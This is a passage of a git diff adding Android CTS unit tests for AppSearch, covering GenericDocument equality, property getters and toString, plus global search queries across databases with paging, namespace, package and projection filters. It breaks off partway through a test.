+    private static final GenericDocument sDocumentProperties1 =
+            new GenericDocument.Builder<>("sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+                    .setCreationTimestampMillis(12345L)
+                    .build();
+    private static final GenericDocument sDocumentProperties2 =
+            new GenericDocument.Builder<>("sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+                    .setCreationTimestampMillis(6789L)
+                    .build();
+
+    @Test
+    public void testDocumentEquals_identical() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        assertThat(document1).isEqualTo(document2);
+        assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_differentOrder() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .build();
+
+        // Create second document with same parameter but different order.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .build();
+        assertThat(document1).isEqualTo(document2);
+        assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_failure() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .build();
+
+        // Create second document with same order but different value.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 4L) // Different
+                        .build();
+        assertThat(document1).isNotEqualTo(document2);
+        assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_repeatedFieldOrder_failure() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .build();
+
+        // Create second document with same order but different value.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, true, false) // Different
+                        .build();
+        assertThat(document1).isNotEqualTo(document2);
+        assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentGetSingleValue() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setScore(1)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L)
+                        .setPropertyDouble("doubleKey1", 1.0)
+                        .setPropertyBoolean("booleanKey1", true)
+                        .setPropertyString("stringKey1", "test-value1")
+                        .setPropertyBytes("byteKey1", sByteArray1)
+                        .setPropertyDocument("documentKey1", sDocumentProperties1)
+                        .build();
+        assertThat(document.getUri()).isEqualTo("uri1");
+        assertThat(document.getTtlMillis()).isEqualTo(1L);
+        assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+        assertThat(document.getCreationTimestampMillis()).isEqualTo(5);
+        assertThat(document.getScore()).isEqualTo(1);
+        assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+        assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(1.0);
+        assertThat(document.getPropertyBoolean("booleanKey1")).isTrue();
+        assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+        assertThat(document.getPropertyBytes("byteKey1"))
+                .asList()
+                .containsExactly((byte) 1, (byte) 2, (byte) 3);
+        assertThat(document.getPropertyDocument("documentKey1")).isEqualTo(sDocumentProperties1);
+    }
+
+    @Test
+    public void testDocumentGetArrayValues() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+
+        assertThat(document.getUri()).isEqualTo("uri1");
+        assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+        assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L, 2L, 3L);
+        assertThat(document.getPropertyDoubleArray("doubleKey1"))
+                .usingExactEquality()
+                .containsExactly(1.0, 2.0, 3.0);
+        assertThat(document.getPropertyBooleanArray("booleanKey1"))
+                .asList()
+                .containsExactly(true, false, true);
+        assertThat(document.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+        assertThat(document.getPropertyBytesArray("byteKey1"))
+                .asList()
+                .containsExactly(sByteArray1, sByteArray2);
+        assertThat(document.getPropertyDocumentArray("documentKey1"))
+                .asList()
+                .containsExactly(sDocumentProperties1, sDocumentProperties2);
+    }
+
+    @Test
+    public void testDocument_toString() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString("stringKey1", "String1", "String2", "String3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        String exceptedString =
+                "{ key: 'creationTimestampMillis' value: 5 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value: "
+                        + "{ key: 'booleanKey1' value: [ 'true' 'false' 'true' ] } "
+                        + "{ key: 'byteKey1' value: "
+                        + "{ key: 'byteArray' value: [ '1' '2' '3' ] } "
+                        + "{ key: 'byteArray' value: [ '4' '5' '6' '7' ] }  } "
+                        + "{ key: 'documentKey1' value: [ '"
+                        + "{ key: 'creationTimestampMillis' value: 12345 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value:  } "
+                        + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType1 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: sDocumentProperties1 } ' '"
+                        + "{ key: 'creationTimestampMillis' value: 6789 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value:  } "
+                        + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType2 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: sDocumentProperties2 } ' ] } "
+                        + "{ key: 'doubleKey1' value: [ '1.0' '2.0' '3.0' ] } "
+                        + "{ key: 'longKey1' value: [ '1' '2' '3' ] } "
+                        + "{ key: 'stringKey1' value: [ 'String1' 'String2' 'String3' ] }  } "
+                        + "{ key: 'schemaType' value: schemaType1 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: uri1 } ";
+        assertThat(document.toString()).isEqualTo(exceptedString);
+    }
+
+    @Test
+    public void testDocumentGetValues_differentTypes() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri1", "schemaType1")
+                        .setScore(1)
+                        .setPropertyLong("longKey1", 1L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .build();
+
+        // Get a value for a key that doesn't exist
+        assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(0.0);
+        assertThat(document.getPropertyDoubleArray("doubleKey1")).isNull();
+
+        // Get a value with a single element as an array and as a single value
+        assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+        assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L);
+
+        // Get a value with multiple elements as an array and as a single value
+        assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+        assertThat(document.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+
+        // Get a value of the wrong type
+        assertThat(document.getPropertyDouble("longKey1")).isEqualTo(0.0);
+        assertThat(document.getPropertyDoubleArray("longKey1")).isNull();
+    }
+
+    @Test
+    public void testDocumentInvalid() {
+        GenericDocument.Builder<?> builder = new GenericDocument.Builder<>("uri1", "schemaType1");
+        expectThrows(
+                IllegalArgumentException.class,
+                () -> builder.setPropertyBoolean("test", new boolean[] {}));
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..dd356a0
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public abstract class GlobalSearchSessionCtsTestBase {
+    private AppSearchSessionShim mDb1;
+    private static final String DB_NAME_1 = AppSearchManager.DEFAULT_DATABASE_NAME;
+    private AppSearchSessionShim mDb2;
+    private static final String DB_NAME_2 = "testDb2";
+
+    private GlobalSearchSessionShim mGlobalAppSearchManager;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    protected abstract ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession();
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        mDb2 = createSearchSession(DB_NAME_2).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        cleanup();
+
+        mGlobalAppSearchManager = createGlobalSearchSession().get();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    private List<GenericDocument> snapshotResults(String queryExpression, SearchSpec spec)
+            throws Exception {
+        SearchResultsShim searchResults = mGlobalAppSearchManager.query(queryExpression, spec);
+        return convertSearchResultsToDocuments(searchResults);
+    }
+
+    /**
+     * Asserts that the union of {@code addedDocuments} and {@code beforeDocuments} is exactly
+     * equivalent to {@code afterDocuments}. Order doesn't matter.
+     *
+     * @param beforeDocuments Documents that existed first.
+     * @param afterDocuments The total collection of documents that should exist now.
+     * @param addedDocuments The collection of documents that were expected to be added.
+     */
+    private void assertAddedBetweenSnapshots(
+            List<? extends GenericDocument> beforeDocuments,
+            List<? extends GenericDocument> afterDocuments,
+            List<? extends GenericDocument> addedDocuments) {
+        List<GenericDocument> expectedDocuments = new ArrayList<>(beforeDocuments);
+        expectedDocuments.addAll(addedDocuments);
+        assertThat(afterDocuments).containsExactlyElementsIn(expectedDocuments);
+    }
+
+    @Test
+    public void testGlobalQuery_oneInstance() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+        List<GenericDocument> beforeBodyEmailDocuments =
+                snapshotResults("body email", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // Query for the document
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, Collections.singletonList(inEmail));
+
+        // Multi-term query
+        List<GenericDocument> afterBodyEmailDocuments =
+                snapshotResults("body email", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyEmailDocuments,
+                afterBodyEmailDocuments,
+                Collections.singletonList(inEmail));
+    }
+
+    @Test
+    public void testGlobalQuery_twoInstances() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document to instance 1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail1).build()));
+
+        // Index a document to instance 2.
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail2).build()));
+
+        // Query across all instances
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(inEmail1, inEmail2));
+    }
+
+    @Test
+    public void testGlobalQuery_getNextPage() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        List<AppSearchEmail> emailList = new ArrayList<>();
+        PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+
+        // Index 31 documents
+        for (int i = 0; i < 31; i++) {
+            AppSearchEmail inEmail =
+                    new AppSearchEmail.Builder("uri" + i)
+                            .setFrom("from@example.com")
+                            .setTo("to1@example.com", "to2@example.com")
+                            .setSubject("testPut example")
+                            .setBody("This is the body of the testPut email")
+                            .build();
+            emailList.add(inEmail);
+            putDocumentsRequestBuilder.addGenericDocument(inEmail);
+        }
+        checkIsBatchResultSuccess(mDb1.putDocuments(putDocumentsRequestBuilder.build()));
+
+        // Set number of results per page is 7.
+        int pageSize = 7;
+        SearchResultsShim searchResults =
+                mGlobalAppSearchManager.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultCountPerPage(pageSize)
+                                .build());
+        List<GenericDocument> documents = new ArrayList<>();
+
+        int pageNumber = 0;
+        List<SearchResult> results;
+
+        // keep loading next page until it's empty.
+        do {
+            results = searchResults.getNextPage().get();
+            ++pageNumber;
+            for (SearchResult result : results) {
+                documents.add(result.getDocument());
+            }
+        } while (results.size() > 0);
+
+        // check all document presents
+        assertAddedBetweenSnapshots(beforeBodyDocuments, documents, emailList);
+
+        int totalDocuments = beforeBodyDocuments.size() + documents.size();
+
+        // +1 for final empty page
+        int expectedPages = (int) Math.ceil(totalDocuments * 1.0 / pageSize) + 1;
+        assertThat(pageNumber).isEqualTo(expectedPages);
+    }
+
+    @Test
+    public void testGlobalQuery_acrossTypes() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        SearchSpec exactEmailSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addSchemaType(AppSearchEmail.SCHEMA_TYPE)
+                        .build();
+        List<GenericDocument> beforeBodyEmailDocuments =
+                snapshotResults("body", exactEmailSearchSpec);
+
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new PropertyConfig.Builder("foo")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+
+        // db1 has both "Generic" and "builtin:Email"
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchema(genericSchema)
+                                .addSchema(AppSearchEmail.SCHEMA)
+                                .build())
+                .get();
+
+        // db2 only has "builtin:Email"
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a generic document into db1
+        GenericDocument genericDocument =
+                new GenericDocument.Builder<>("uri2", "Generic")
+                        .setPropertyString("foo", "body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(genericDocument)
+                                .build()));
+
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        // Put the email in both databases
+        checkIsBatchResultSuccess(
+                (mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build())));
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+        // Query for all documents across types
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments,
+                afterBodyDocuments,
+                ImmutableList.of(genericDocument, email, email));
+
+        // Query only for email documents
+        List<GenericDocument> afterBodyEmailDocuments =
+                snapshotResults("body", exactEmailSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyEmailDocuments, afterBodyEmailDocuments, ImmutableList.of(email, email));
+    }
+
+    @Test
+    public void testGlobalQuery_namespaceFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec exactSearchSpec =
+                new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+        List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+
+        SearchSpec exactNamespace1SearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addNamespace("namespace1")
+                        .build();
+        List<GenericDocument> beforeBodyNamespace1Documents =
+                snapshotResults("body", exactNamespace1SearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document2).build()));
+
+        // Query for all namespaces
+        List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyDocuments, afterBodyDocuments, ImmutableList.of(document1, document2));
+
+        // Query only for "namespace1"
+        List<GenericDocument> afterBodyNamespace1Documents =
+                snapshotResults("body", exactNamespace1SearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeBodyNamespace1Documents,
+                afterBodyNamespace1Documents,
+                ImmutableList.of(document1));
+    }
+
+    @Test
+    public void testGlobalQuery_packageFilter() throws Exception {
+        // Snapshot what documents may already exist on the device.
+        SearchSpec otherPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames("some.other.package")
+                        .build();
+        List<GenericDocument> beforeOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+
+        SearchSpec testPackageSearchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                        .addFilterPackageNames(
+                                ApplicationProvider.getApplicationContext().getPackageName())
+                        .build();
+        List<GenericDocument> beforeTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail document1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document1).build()));
+
+        AppSearchEmail document2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document2).build()));
+
+        // Query in some other package
+        List<GenericDocument> afterOtherPackageDocuments =
+                snapshotResults("body", otherPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeOtherPackageDocuments, afterOtherPackageDocuments, Collections.emptyList());
+
+        // Query within our package
+        List<GenericDocument> afterTestPackageDocuments =
+                snapshotResults("body", testPackageSearchSpec);
+        assertAddedBetweenSnapshots(
+                beforeTestPackageDocuments,
+                afterTestPackageDocuments,
+                ImmutableList.of(document1, document2));
+    }
+
+    // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+    @Test
+    public void testGlobalQuery_projectionTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Query with type property paths {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionEmptyTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
